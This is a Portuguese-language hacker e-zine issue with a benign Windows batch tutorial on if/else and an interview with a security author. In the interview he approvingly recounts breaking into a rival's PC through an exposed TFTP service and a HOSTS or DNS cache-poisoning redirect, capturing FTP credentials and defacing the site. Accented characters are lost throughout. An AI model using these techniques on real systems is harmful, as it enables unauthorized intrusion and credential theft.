	CCCCC                          SSSSS     zZ     II NN  NNN EE
	 CCCC       CCCCc   sSSSS       SSSS    zZ      II NN   NN EEEEE
	  CCCCCCCCCCCCCC     SSSSSSSSSSSSSS    zZ
	    CCCCCCCCCC         SSSSSSSSSS     zZ
	                                     zZ
	                                    zZ
	                                  zZZZZZZZZZZZZZZZZz



    PS: Se voc no conseguiu lr direito, a em cima tah escrito CSZine.

Caras, no tenho palavras para descrever uma elite, elite  elite, ou em outras palavras:
elite  foda!!!!!!! Um dia eu conheo esse maluco pessoalmente, o cara  muito, muito
foda!!!! Lembram que postei links para a F3 na C.O.D.Ex00? Essa ae tambm  uma 
zine do Cheat Struck, essa foi a primeira zine que ele escreveu, depois ele passou anos
e mais anos trancado em um quarto (hauhauh!!!) estudando para escrever uma mais
avanada, ai surgiu a 'F3' que virou uma lenda das e-zines hacker brasileiras. Espero 
que gostem dessa e-zine, pois eu gosto muito. Lembrando que essa e-zine  RARA!!!
Totalmente dificil de se encontrada, mas a C.O.D.E est aqui  para trazer raridades
para voces amigos =) Ah! Elite  foda!!!!!!!!!!!!!!!!


http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_01.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_02.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_03.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_04.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_05.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_06.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_07.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_08.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_09.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_10.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_11.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_12.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_13.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_14.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_15.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_16.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_17.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_18.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_19.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_20.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_21.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_22.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_23.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_24.txt
http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_25.txt

----- C4p1Tul0 07

[=] + =======xx==============xx=========== + [=]
         Programando em Batch Parte 3
[=] + =======xx=============xx============ + [=]


Parte 3!!! Isso mesmo cara, tudo que tinha na C.O.D.E x01 vai continuar aqui (d, d),
ou seja, no pegue o bonde andando, se voce no tem a code x00 e x01 baixem aqui:

http://www.hunterhacker.xpg.com.br/CODEx00.txt 
http://www.hunterhacker.xpg.com.br/CODEx01.txt 

================================
Controle de fluxo em batch - 'if' 
================================

Controle de fluxo nada mais  que voce inserir no seu programa algo do tipo:
'Se voce digitar isso vai acontecer isso:', 'se existir isso aqui vai contecer isso aqui:'.
E assim vai. Esses so os operadores de comparao que so utilizados com o 
comando 'if' no batch:

 EQU - igual
 NEQ - diferente
 LSS - menor que
 LEQ - menor que ou igual
 GTR - maior que
 GEQ - maior que ou igual

Exemplos (espero que tenham lido as C.O.D.Es anteriores antes de proceguir):

------ cut ------ 

@echo off &cls
set /p numero=Digite o numero que estou pensando:
if %numero% == 10 (echo Ei cara, acha mesmo que eu estou pensando no %numero%?)
pause 

------ cut ------ 

Esse script exibe a mensagem 'Digite o numero que estou pensando:' e armazena o que 
foi digitado na variavel 'numero' e abaixo ele vai fazer uma comparao do que o user
digitou (if %numero% == 10), se o que o maluco digitou for igual (==) a 10 ele exibe
a mensagem: Ei cara, acha mesmo que eu estou pensando no %numero%?. 
Simples, repara que utilizei o '==' ao invez dos outros =) nem preciso de muito lega-lenga
como diz minha amiga ris. Vamos fazer varias comparaes agora. 

------ cut ------

@echo off &cls
set /p numero=Digite o numero que estou pensando:
if %numero% == 10 (echo Ei cara, acha mesmo que eu estou pensando no %numero%?)
if %numero% == 24 (echo Linda rosa que te leva infeliz rsrs)
pause 

------ cut ------

Esse script acima "espera" o usuario digitar um numero (set /p numero=Digite...), e armazena
o que ele digitou na variavel numero (%numero%), lembram que para ser referir a uma variavel
em batch utilizamos o sinal de percento (%)? Ento para comparar voce tem que usar o sinal 
'%', mas no precisa colocar para declarar (nesse caso). O que? No sabe o que significa 
declarao?

set /p numero="Ei ei ei <--- Isso e uma declaracao"

Acima declarei a variavel 'numero' =) Ou seja, declarar  voce escrever no seu codigo alguma 
coisa, tipo, tambm declarei que a  variavel (numero) seria do tipo 'char' rsrs hauhau!!!
Desculpem a piadinha, o /p  o que determina o tipo da minha variavel, e esse tipo armazena
string (texto =). Pronto, sem muito lenga-lenga (acho que no foi legal passar a noite
com a Iris ontem XP). 

Ja que voce sabe que para comparar precisamos utilizar o sinal de percento ('%') 
antes e depois do nome da variavel (Exemplo: %Variavel%. Caso contrario o 
windows nem vai saber que voce quer comparar o valor digitado pelo user),
vamos passar para as proximas etapas. Se esse numero (que foi digitado pelo user)  
for igual a 10 ele continua exibindo a mensagem: 'Ei cara, acha mesmo que eu estou 
pensando no %numero%?' Caso o usuario digite 24 (hum...) o script exibe a
mensagem: Linda rosa que te leva infeliz rsrs. Repare bem ae mano, utilizei o '(' para 
abrir o bloco de codigo que executa a ao e utilizei o ')' para fechar o bloco de 
codigo que executa a ao, que ser executada aps um dos numeros digitados pelo 
usuario coincidirem com os numeros que se comparados com a variavel, executam 
a ao, no caso os numeros que sero comparados com a variavel (comparados com
o que o user digitou) so 10 e 24 (hum... Linda rosa que te leva) Detalhe: Pra quem 
no sabe o 'if' significa 'se' em portugues, ou seja, estou falando a mesma coisa que:

se %numero% == 10 (echo Ei cara, acha mesmo que eu estou pensando no %numero%?)
se %numero% == 24 (echo Linda rosa que te leva infeliz rsrs)

Repare ae em cima no 'se' (Entendeu? =). Caso o usuario digite algo que no tem nada aver 
com 10 ou 24 o script continua a executar o que "no" est dentro do bloco de codigo 
('(' e ')'), ou seja, ele continua executando o que vem depois, que no caso  o tal do
'pause'. Detalhe: Depois que o user digita 10 ou 24 ele ainda continua executando o 
'pause', CLARO QUE DEPOIS QUE ELE EXECUTA O QUE EST DENTRO DO 
BLOCO DE CODIGO =) Mas se dentro do bloco de codigo contem o comando 'exit'
obviamente que ele nem vai chegar at o comando 'pause' que est fora do bloco de codigo =] 

=========X==================X======
Controle de fluxo em batch - 'else' 
=========X==================X======

Bem, o 'else' pode ser lido como: 'caso voce no faa o que eu quero eu mostro isso'.
Exemplo:

------ cut ------

@echo off &cls
set /p numero=Digite o numero que estou pensando:
if %numero% == 10 (echo Ei cara, acha mesmo que eu estou pensando no %numero%?)
if %numero% == 24 (
echo Linda rosa que te leva infeliz rsrs) else (echo Ei mano, voce nao digitou 24 huahauh!!!)
pause 

------ cut ------

Resultado:

Digite o numero que estou pensando:10
Ei cara, acha mesmo que eu estou pensando no 10?
Ei mano, voce nao digitou 24 huahauh!!!
Pressione qualquer tecla para continuar. . .

C:\> Chega de langa-lenga!!! hauha!!! Vou parar de explicar a mesma coisa varias vezes =)

Mais exemplos:

------ cut ------

@echo off &cls
set /p numero=Digite o numero que estou pensando:
if %numero% EQU 10 (echo Ei cara, parabens!!! Voce digitou %numero%?) 
if %numero% NEQ 24 (echo Continua nao executando o 24 uhuhauha!!!)
pause 

------ cut ------

Caso o user digite 10 o resultado  esse:

Digite o numero que estou pensando:10
Ei cara, parabens!!! Voce digitou 10?
Mas continua nao digitando o 24 rsrs
Pressione qualquer tecla para continuar. . .

Reparem que utilizei os operadores de comparao EQU (Equivalent) e NEQ (Not Equivalent). 
Ou seja, disse isso aqui:

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
@echo off &cls
set /p numero=Digite o numero que estou pensando:
SE %O que o usuario digitou% == 10 (echo Ei cara, parabens!!! Voce digitou %numero%?) 
SE %O que o usuario digitou% NO 24 (echo Continua nao executando o 24 uhuhauha!!!)
pause 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Se o que o usuario digitou for equivalente (EQU - igual a) 10 ele exibe a mensagem acima,
se o que o usuario digitar NO (No Equivalente - NEQ) for igual a 24 ele exibe outra 
mensagem, mas olha s que legal rapazida, 10  igual a 24? No!  por isso alm do
programa exibir a mensagem

echo Ei cara, parabens!!! Voce digitou %numero%?

Ele ainda exibe:

echo Continua nao executando o 24 uhuhauha!!!

Porque eu programei ele para exibir essa segunda pensagem quando um usuario NO digitar 
o que eu quero =) Com esse esquema meu fi, o usuario s tem duas escolhas:

Sim ou SIM 

Huahuahuh!!!! Ja fiz muitos virus nesse esquema hauhauh!!! Dava ao usuario uma falsa sensao 
de escolha hauhuaha!!! Livre arbitril ou arbitriu ou arbitre (No sei, no sou evangelico 
hauha!!!) s no cu baby hauhauhau!!! Entendenram? O MANIACO DA EXPLICAO 
DETALHADA EST DEVOLTA!!!! Com suas piadinhas sem graa e tudo mais Hauhauh!!!

=======X==============X=============================X=
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
=======X==============X=============================X=

Muitas vezes voce necessita que seu script faa comparaes de strings digitadas pelo usuario,
isso  muito importante como voces vero mais a frente na seo 'Telnet Secure', nesse exemplo
me utilizei do mtodo autenticao fornecido pelos scripts em batch para dar um segunda 
camada de segurana ao meu computador, fazendo com que seje necessario a utilizao 
de uma segunda senha em uma seo telnet 'j estabelecida'. Se voce tiver imaginao 
(coisa que no me falta) e tiver conhecimento em batch, garanto que far muitas coisas boas e 
completamente bizarras com simples scripts em batch (Experiencia propria =). 
Vamos aos exemplos:

------ cut ------
@echo off &cls
set senha=luzinha 
set /p password=Digite sua senha:
if %password% EQU %senha% (echo Bem vindo amigo) 
if %password% NEQ %senha% (echo Desculpe, senha invalida)
pause 
------ cut ------

Se voces acompanharam a C.O.D.E x01, viram que para declararmos uma variavel em batch 
utilizamos o comando 'set', nesse script o que fiz foi basicamente declarar uma variavel 
de nome 'senha' ('set senha' =) que recebe o valor (dados) 'luzinha', que como voce pode 
ver  texto (nada de numero rsrs =). Abaixo ver que declarei outra variavel chamada 
'password' (que significa 'senha' em portugues) que exibe a mensagem 'Digite sua senha' e 
'PARA' a execuo do script AT que o usuario digite sua senha, quando o usuario digitar 
algo, esse algo vai ser armazenado na variavel 'password' e logo abaixo vai rolar uma 
comparao de valores. Reparem aqui:

Linguagem Batiana hauhau!! (No vem do Batman rsrs):

IF "%password%" EQU "%senha%" (echo Bem vindo amigo) 
IF "%password%" NEQ "%password%" (echo Desculpe, senha invalida)

Traduo (Em nossa lingua, chega de falar morcegal): 

SE "%O q o user digitou for%" Equivalente a: "%O valor da variavel 'senha'%" (
echo Eu exibo essa mensagem aqui: Bem vindo amigo )

SE "%O q o user digitou%" Nao for equivalente ao: "%Valor da variavel 'senha'%" (
echo Eu mando ele chupar uma manga hauhau!!! )

Ou poderar incurtar as coisas utilizando o 'else', exemplo:

------ cut ------
@echo off &cls
set senha=luzinha 
set /p password=Digite sua senha:
if %password% EQU %senha% (
echo Bem vindo amigo) ELSE (
echo Desculpe, senha invalida)
pause 
------ cut ------

Se o que o usuario digitar for igual a 'luzinha' ele exibe a mensagem Bem vindo e tals, 
caso contrario (ELSE) ele exibe Deculpe, senha invalida. O 'else'  uma forma de revolta
que inventaram cara huahuha!!! Ele diz assim: 'IF' no  assim, 'ELSE' ento toma infeliz
hauhauh!!! Maneiro rsrs.

Detalhes Detalhes, voces sempre surgem =)

Reparem nesses resultados:  

Digite sua senha:luzinha   --> O cara digitou certo ('luzinha')
Bem vindo amigo          --> Isso prova que ele digitou certo ('luzinha')  
Pressione qualquer tecla para continuar. . .

Mas e se por algum acaso da vida o cara digitase ao invez de 'luzinha' em letras minusculas, 
ele digitasse isso: LuZiNha, LUZINha, LUzinha (que no deixa de ser a senha). O que fazer 
para o script autenticar a senha ou login ou ambos? Obviamente caso voce no queira inserir
nenhum recurso de login case sensitive. Para quem no sabe 'case sensitive' significa que a 
senha diferencia letras minusculas de letras maiusculas. Para autenticar todas
as formas de escrita (minusculas e maiusculas) foi criado o '/I'. Vamos a um exemplo de 
utilizao do /I ou /i como preferir, pois o DOS no  'case sensitive', ou seja, no 
diferencia letras minusculas de maisculas (Eu sou o professor do ano rsrs =) 

Mas antes gostaria de comprovar que da erro =) 

=============================
Digite sua senha:LUZINHA
Desculpe, senha invalida
Pressione qualquer tecla para continuar. . .
=============================

Vamos ver o novo code:

------ cut ------
@echo off &cls
set senha=luzinha 
set /p password=Digite sua senha:
if /I %password% EQU %senha% (
echo Bem vindo amigo) ELSE (
echo Desculpe, senha invalida)
pause 
------ cut ------

Repare que a unica coisa que mudei nesse code com relao ao code anterior foi o '/I' 
depois do 'IF', reparem ai:

if /I %password% EQU %senha% (

Utilizando o '/I' depois do 'IF' significa que ele vai fazer a comparao do que o usuario 
digitou (%password%) com o valor da variavel 'senha' no se importando com letras 
minusculas ou maiusculas. Vamos ao resultado.

Resultado:

Digite sua senha:LUZINHA
Bem vindo amigo
Pressione qualquer tecla para continuar. . .

Simples, muito simples, ou em outras palavras:

SVEB -> Simple, Very Easy Baby =] 

Obviamente que se voce for um maniaco por portugues ira querer que o user digite o 
comeo da senha com letras maiusculas certo? Ento apenas faa isso:

set senha=Luzinha

E no insira DEPOIS do 'IF' o '/I', isso faz com que seje necessario a utilizao do 'L' 
maiusculo no comeo da senha (como voce definiu la em cima =). Para dificultar a vida 
dos caras voce pode ir fazendo isso vi: 

set senha=LuZ1nh@#

Podera utilizar metodos de autenticao que exigem caracteres especiais como o arroba (@)
ou a 'tralha' (#). Se o que o cara digitar contiver um errinho se quer vai dar... PAU!!!
Exemplos:

Acertou!!! 

Digite sua senha:LuZ1nh@#
Bem vindo amigo
Pressione qualquer tecla para continuar. . ..

Errou!!!

Digite sua senha:Luz1nh@#
Desculpe, senha invalida
Pressione qualquer tecla para continuar. . .

Meu erro ai em cima foi ter digitado o 'z' com letra minuscula =). S para lembrar amigo,
repare nessa linha aqui: @echo off &cls. Alguns de voces no devem conhecer este operador 
--> '&', mas para quem no sabe gostaria de dizer que o 'E Comercial'  o operador 
responsavel pela execuo de dois comandos em uma mesma linha no seu script ou at mesmo
quando voce executa ele no shell do DOS, nesse caso  desativado o eco do comando e logo
em seguida a tela  limpa (utilizando o comando cls). Se eu quizese ver a data atual e 
ainda ver a hora eu poderia inserir apenas uma linha no meu fonte, exemplo:

------ cut ------
@echo off
date &time
pause
------ cut ------

resultado:

Data atual: sex 29/02/2008
Digite a nova data: (dd-mm-aa)
Hora atual: 21:32:50,53
Digite a nova hora:
Pressione qualquer tecla para continuar. . .

Isso  bastante utilizado por mim, principalmente para inserir comentarios nos scripts 
que desenvolvo, pois o 'ReM' que  utilizado para inserir comentarios em arquivo em 
lotes ou no CONFIG.SYS, ainda continua sendo um comando, lembra que o '&' 
permite que eu escreva dois OU MAIS comandos na mesma linha? Por isso me 
sinto no direito de escrever o comando no '.bat' e colocar na frente o que ele faz =)

Exemplo:

------ cut ------
@echo off &ReM -> Aqui eu desligo o eco do comando 
date &REM Aqui eu quero ver a data
echo Beijo xuxa &rem Aqui eu to mandando um beijo pra xuxa rsrs =)
pause
------ cut ------

Resultado:

Data atual: sex 29/02/2008
Digite a nova data: (dd-mm-aa)
Beijo xuxa
Pressione qualquer tecla para continuar. . .

Vale lembrar para os iniciantes que nenhum tipo de comentario  exibido na execuo dos
scripts (como voce pode ver acima), pois a real funo dos comentarios  ajudar outros 
programadores a ter um bom entendimento de seus fontes (nada mais), porque voce vai 
estar comentando toda ao, nesse caso 'todo comando' =) Com os comentarios voc
tambm poder inserir creditos, licena, instrues de uso e at piadas hehe. Vale lembrar
tambm que no  exibido nenhum tipo de comentario porque utilizei o '@echo off' no 
comeo do code. O interesante do controle de fluxo  justamente possibilitar a voce a 
escolha de controlar cada coisa que vai acontecer =)

Mais exemplos:

Esse script abaixo testa se o que o usuario digitou  maior ou igual a 10, vou utilizar o 
operador 'GEQ' que significa: 'Maior que, ou igual'. =) 

------ cut ------

@echo off &cls & color a
set numtest=10
set /p num1=Digite um numero:
if %num1% GEQ %numtest% (
echo voce digitou um numero maior ou igual a %numtest%) ELSE (
echo voce nao digitou um numero maior ou igual a %numtest% =])

------ cut ------

Esse abaixo analisa se o que o usuario digitou  menor que 5, repare que ele apenas 
analisa se  menor, ou seja, se o usuario digitar cinco ele ainda vai mostrar a 
mensagem: No  igual a cinco maluco. Porque estou utilizando um operador que s 
faz um tipo de comparao que :

Verificar se  menor.

Ponto. Sem muito lenga-lenga XP. ah! O operador (como voces podem ver)  o LSS, que 
significa 'menor que' =)
  
------ cut ------
@echo off &cls & color a
set numtest=5
set /p num1=Digite um numero:
if %num1% LSS %numtest% (
echo Seu numero e menor que %numtest% %username%) ELSE (
echo voce nao digitou um numero menor que %numtest% %username% =])
------ cut ------

Repare que estou utilizando a variavel de ambiente (%username%) que armazena 
o nome de usuario do maluco, para o script exibir uma mensagem mais legal. Vejamos.

Resultado:
-------------------------------------------------------------------------------------------
Digite um numero:-2
Seu numero e menor que 5 David  <-- Repara no 'David', David  meu nome de usuario =)
-------------------------------------------------------------------------------------------
Digite um numero:10
voce nao digitou um numero menor que 5 David =] 
-------------------------------------------------------------------------------------------
Digite um numero:5
voce nao digitou um numero menor que 5 David =]
-------------------------------------------------------------------------------------------

Sempre podemos utilizar variaveis de ambiente em nossos escripts, este ai  um belo exemplo 
disso, David  o valor da variavel de ambiente %username% e que por sinal  meu username 
(nome de usuario =) que est armazenado nesta variavel. Tambm podemos comparar valores
digitados pelo user diretamente a uma string, ou seja, no precisamos comparar valores de 
duas variaveis.

------ cut ------

@echo off &cls & color a
set /p algo=Digite algo:
if "%algo%" EQU "Queijo" (
echo voce digitou Queijo! & pause) ELSE (
echo voce nao digitou Queijo :( & pause )

------ cut ------


Repare nas aspas e em tudo ai em cima, pois estou canado de escrever XP. At a proxima 
parte do curso onde iremos falar mais do IF e essas paradinhas da vida ;-) 

                                                 
                                                      ---- Batch  uma arte mano. 
                                                     By 6_Bl4ck9_f0x6 (Myloveluz)

----- C4p1Tul0 08

[X=========X=======================X==========X]
   Entrevista com Marcos Flavio Araujo Assuno
[X=========X=======================X==========X]

A est cambada, a to esperada entrevista, espero que gostem de mais uma excelente materia
da C.O.D.E. Gostaria de agradecer mais uma vez ao Marcos por ter aceitado dar a entrevista 
e gostaria de cobrar o paper que ele disse que ia escrever pra minha zine =) To esperando rsrs.

Starting...

[Eu]: 

Ola Marcos, primeiramente gostaria de agradecer por voce ter aceitado a proposta de ser 
entrevistado. Tenho certeza que os leitores da C.O.D.E depois desta entrevista vao te ver 
com os meus olhos, ou seja, vao ver que voce e um dos muitos "Brasileiros" da elite (me
refiro a elite HACKER). Voce sabia que sou seu fa? Na verdade eu sou fa de um monte de 
gente ae, mas sou seu fa tambem, diga o quanto essa entrevista  importante pra vc rsrsrsr,
ei! isso foi uma brincadeira eheh, enfim, me conte quando e como comeou seu interesse 
por hacking. 
 
[Marco]:

Haha, de boa, o prazer (da entrevista, bvio),  meu... risos. Bom, olha s... eu sempre 
gostei muito de informtica e programao... l pra 1994 ou 1995, quando eu tinha uns 
14 anos, comecei a trabalhar em uma empresa de informtica como "info-boy".  aquele
que ia na casa dos clientes instalar os softwares por disquete. (Windows = 15 disquetes. 
Ninguem merece). Enfim, pouco tempo descobri a minha vontade de sempre ser mais e 
mais curioso e aprender todo dia um pouco alm do que eu j sabia. Isso me levou a me
tornar professor nessa empresa, aps uns 3 ou 4 meses l. Nessa mesma poca eu 
conheci as famosas BBS (Bulletin Board Systems) e me apaixonei. Acessava BBSs do 
Brasil e do mundo todo. Foi nesse ambiente que eu comecei a ter contato com materiais 
voltados para "hacking". Foi o casamento perfeito, mais de dez anos depois continuo 
apaixonado com o assunto.

[Eu]: 

Antigamente a nossa classe especial de seres humanos (hackers), costumava botar medo
em civis, mas hoje esta tudo mudado, tem lammer que chega pra gente no msn e diz que
agente nao consegue invadir o PC dele (ate que alguem vai la e transforma a vida desse 
lixo num inferno), nossa moral esta caindo, as elites nao sao mais respeitadas hoje em dia.
Voce, como eu e um monte de gente ae "das antigas", acha que o mundo hacker entrou 
em decadencia? Diga-me o que acha da cena hacker nos dias de hoje e me fale sobre a 
triste realidade que nos vivemos com relaao a ninguem desenvolver mais nada para 
contribuir com a cena "Brasileira".

[Marco]:

O problema maior hoje  o fim do mistrio. Como eu dizia, na poca das BBS era tudo mais
difcil. Pra conseguir aprender alguma coisa voc tinha que saber ingls pra poder ler o FAQ 
da ALT.2600. Pra conseguir esse faq voc tinha que acessar a USENET. Pra acessar essa 
rede, voc tinha que descobrir um servidor NNTP que fosse pblico e configurar em algum 
software que permitesse. Enfim, dava mais prazer aprender pois dava a sensao tipo de uma
maonaria, um pequeno clube secreto. Hoje, utilizando o google e um ou dois cliques, voc 
consegue tudo isso com muita facilidade, em portugus, com ferramentas prprias e prontas 
pra ser usadas. Essa "aparente facilidade" faz com que os novatos acreditem que as coisas so
muito simples, pois a maioria no consegue ver a diferena entre "invadir" e "quebrar a 
segurana". Invadir pode ser feito com princpios de engenharia social, o que torna o ato 
fcil para at crianas de 5 anos. "Quebrar a segurana" exige conhecimentos avanados, 
e algum que no conhea um mnimo de programao, rede e SOs no chegaria nem perto 
disso. E nem mencionei o fato de alguns inteis que se auto-denominam "carders" sujarem 
ainda mais a cena atual do hacking, fazendo com que o termo hacker seja sinnimo de ladro.

[Eu]: 

Marcos, gostaria de lhe pergunta o que voce acha dos malditos lammers, digo "lammers", 
"NAO bgners", voce e do tipo que deseja a forca para esses lixos? Mande seu recadinho 
para essa escoria. 

[Marco]:

Begginers ou iniciantes, todos ns j fomos. Nada mais normal que isso. Afinal, voc sempre
ser um iniciante em algo que nunca fez. Mesmo que eu conhea bem de redes, no entendo
nada de modelagem 3D, eu seria um principiante nessa rea. Ento, para as pessoas normais 
elas sabem que sempre vo precisar aprender mais pois conhecimento no  medido de forma 
vertical apenas... no existe conhecer mais ou menos, apenas de forma diferente. 
Ningum sabe todos os detalhes de determinado assunto e sempre podemos aprender trocando 
informaes com outros. O problema dos lamers  que, logo na primeira ou segunda coisa 
que aprendem j se acham os donos do mundo e ficam criticando outros.  triste pois sero 
eternamente inferiores  aqueles com humildade.

[Eu]: 

Legal, agora vamos as perguntas construtivas, esta pronto? 

[Marco]:

Manda bala.

[Eu]: 

Espero que saiba que estou copiando e colando as perguntas, estou pressionando a tecla x e 
apagando so pra voce achar que eu estou digitando algo ae eheh Brincadeira.

[Marco]:

hehe, de boa. 

[Eu]: 

Pergunta um:

Baixei sua entrevista para o cara do programa online e ele falo daquele tal grupo hacker 
terrorista que nao me recordo o nome agora (pra nao sujar a entrevista sabe, detesto 
divulgar gringo), entao, gostaria de lhe perguntar qual a tecnica que utilizou para fazer 
deface no server dos gringotes, lembro-me que na entrevista voce nao disse muita coisa 
nao, fico falando que tinha feito um troo la e o cara caiu, gostaria que voce contase a 
historia direito para os leitores da C.O.D.E, sei que voce e preguioso pra escrever e pra
ler e tals, mas num te preocupa eu tenho todo o tempo do mundo ehhe. ah! Quanto mais 
tecnico melhor.

[Marco]:

Preguioso eu? imagina... kkk. Olha, no vou falar demais disso no pq j me encheu o saco
essa histria. Mas vou comentar alguns detalhes que ocultei disso at hoje pra encerrar esse
caso de vez. Comeou assim: um colega meu de Fortaleza me passou um link desse tal de
HAA. Eu abri o site e achei at interessante a crtica que eles estavam fazendo aos EUA.
Postei em alguns frums e passei por e-mail a histria pra um conhecido jornalista meu, que
mandou um e-mail para os caras e entrevistou eles. Quando eu li a tal "entrevista", eu 
choquei. Isso porque um dos tais "membros" se auto-denominava "Sombrio". Esse  um 
nick que eu utilizava na poca que eu fazia parte de um grupo , o UHOL, mais ou menos
em 1996/1997. Cismei que no era mera coincidncia e que o cara provavelmente me 
conhecia. Fiquei curioso e perguntei ao meu colega de Fortaleza como esse site tinha chegado 
nas mos dele. Me disse que recebeu de e-mail de um hacker de Recife que ele conhecia,
mas no quis me passar o contato, disse que o cara era sistemtico, etc. Enfim, eu mandei 
um e-mail para o contato deles no site do Hackers Against America utilizando um pouco 
de Engenharia Social, falando que eu achava que no era legal o que estavam fazendo, 
especialmente de querer realizar um ataque contra o The New York Times (tava na pgina
 deles isso) e tal. Recebi uma resposta ento em portugus bem claro me mandando ir
para um certo lugar e continuar a enganar as pessoas de Lavras com o meu "anti-trojans".
 um programa que eu criei antes do Valhala, mas que deixei de mexer faz tempo. E o
fato dele citar a cidade de Lavras (onde eu morava na poca... ), Tive certeza ento que 
era algum que eu conhecia das antigas... at imaginava quem, um antigo desafeto do meu
ex-grupo que se mudou pro nordeste. Enfim, peguei o IP do cabealho do e-mail dele, e vi 
que era originrio do Recife, utilizando Velox. Comprovei o que eu achava.
 A partir da, fiz o seguinte: passei o NMAP no PC dele, pra obter o fingerprint do OS. Deu 
que era Windows 2000/XP/2003 (um dos 3). Alguns dos servios encontrados remetiam 
principalmente ao XP. Exemplo: 5000 (UPNP). Mas ao mesmo tempo haviam servios estranhos,
 como RLOGIN e RSH habilitados. Tambm vi o DNS e o TFTP. Ao passar a opo -A do 
NMAP no DNS por exemplo, ele me resultou que seria o BIND. Mas BIND pra Windows? 
Deduzi que ele havia instalado o CYGWIN para realizar testes, uma espcie de 
"tradutor-emulador" de Linux para Windows. Tive uma idia ento: normalmente o CYGWIN 
quando mal instalado, coloca o servidor TFTP pra operar da raiz "C:\". Tentei fazer upload de 
um arquivo HOSTS modificado , colocando o Domnio da pgina deles para cair no meu IP. 
Algo como um DNS Spoofing. Busquei tambm um exploit mais recente do BIND, que 
realizasse Cache Poisoning (envenenamento de cache) com o mesmo fim, redirecionamento do 
domnio haa.narod.ru para o meu IP atual. Um dos dois funcionou: alguns minutos depois, ao 
abrir o meu Valhala Honeypot e configurar um servidor FTP para a escuta, eu recebi a conexo
da minha "vtima", peguei login e senha de acesso do site real e tirei o mesmo do ar logo 
depois, deixando uma "mensagem" para irritar o meu coleguinha. Pouco tempo aps isso, vi 
aparecer um texto no Zone-H falando que eu havia criado o site e retirado do ar. Fiquei 
estupefato. Fui ler o texto e fiquei procurando o que eles teriam apresentado como "prova" do 
que diziam. Basicamente no texto dizia: que como o meu primeiro livro era para iniciantes,
minhas colunas tambm, eu tambm utilizava Velox (o que por sinal  uma estupidez. O 
Velox est em mais de 12 estados brasileiros, milhares de usurios) e outras bobagens. Creio
que se eu quisesse fazer um teatro como eles diziam, o MNIMO a fazer  mascarar o meu IP.
Se eu sei diversas maneiras de fazer isso (proxys, spoofing, anonymizer, tor, etc) por que eu 
deixaria o meu IP real aparecesse se fosse realmente culpado? Enfim, acho que teve um dedinho 
do meu "colega revoltado" que criou o site, provavelmente enviando e-mails para sites 
especializados com a bomba de que "Marcos Flvio forjou o site terrorista" e coisa do tipo. 
Por ltimo, me acusaram de tentar "divulgar" o Valhala Honeypot para realizar a venda do 
mesmo. S se esqueceram de consultar o sourceforge no qual meses antes do ocorrido estava l
de todo tamanho: OPEN SOURCE.


[Eu]: 

Acho que ja deu para notar que essa entrevista naum e nem um pouco formal, ou seja, digamos 
que seja um conversa entre amigos e por isso gostaria de uma informaao sua, um tanto quanto 
comprometedora, tipo, vc ja fudeu algum host fora o dos gringos terroristas? Se ja detonou,
me fale mais sobre isso, gostaria de divulgar suas aoes.

[Marco]:

No... nunca fiz o estilo Cracker... s desliguei um provedor de internet em Lavras uma vez, 
durante o final de semana todo, impossibilitando a todos os usurios dele acessarem a net. 
Mas isso eu era adolescente tb... tinha uns 16, 17 anos na poca. No curto muito fazer 
defaces no, nunca vi muita utilidade em competir "quem pixa mais".

[Eu]: 

Andei reparando em seus videos para o DEFHACK e na maioria dos seus videos "por fora"
e percebi que uma grande parte dos mesmos sao baseados nos ensinamentos de sua 
certificaao, o CEH, pra te falar a verdade acredito que todos os macetes que vc ta ensinando
nos videos voce aprendeu la ('eu acho'), tipo : ADS, Fake URL, Spoofing (usando sterm),
Hijacking de telnet, Trojan Beast, Cain, etc. Eu andei absorvendo toda a certificaao e vi 
que existe muita coisa boa. Enfim Marcos, me conte o que de bom o CEH lhe trouxe e
diga para os leitores da C.O.D.E o quanto que ela pode nos beneficiar.

[Marco]:

Olha, muitas dessas tcnicas eu j conhecia antes de estudar para a certificao. Mas a CEH 
realmente me trouxe muito conhecimento, pois  um certificado muito interessante. Afinal,  
o primeiro tipo de certificado formal de que voc sabe realizar um penetration test, ou teste 
de invaso. No vou dizer que a CEH lhe certifica que  um hacker, pois isso no  
relacionado com o seu nvel de conhecimento apenas e sim ao seu nvel de criatividade. Mas 
 muito satisfatrio voc receber um certificado assegurando que voc sabe invadir um 
sistema. Melhor ainda: reconhecido internacionalmente.

[Eu]: 

Me conte de onde surgiu a ideia de criar um honeypot, me refiro ao valhala. Gostaria de dizer
que ele  bom, acompanho a evoluao dele a muito tempo e vejo que a cada nova versao 
voce se supera. Existem varios carinhas fazendo Honeys em Delphi, creio eu que na esperana 
de se comparar ao valhala, alguns at fazem seus honeys "com a mesma interface" e mesma 
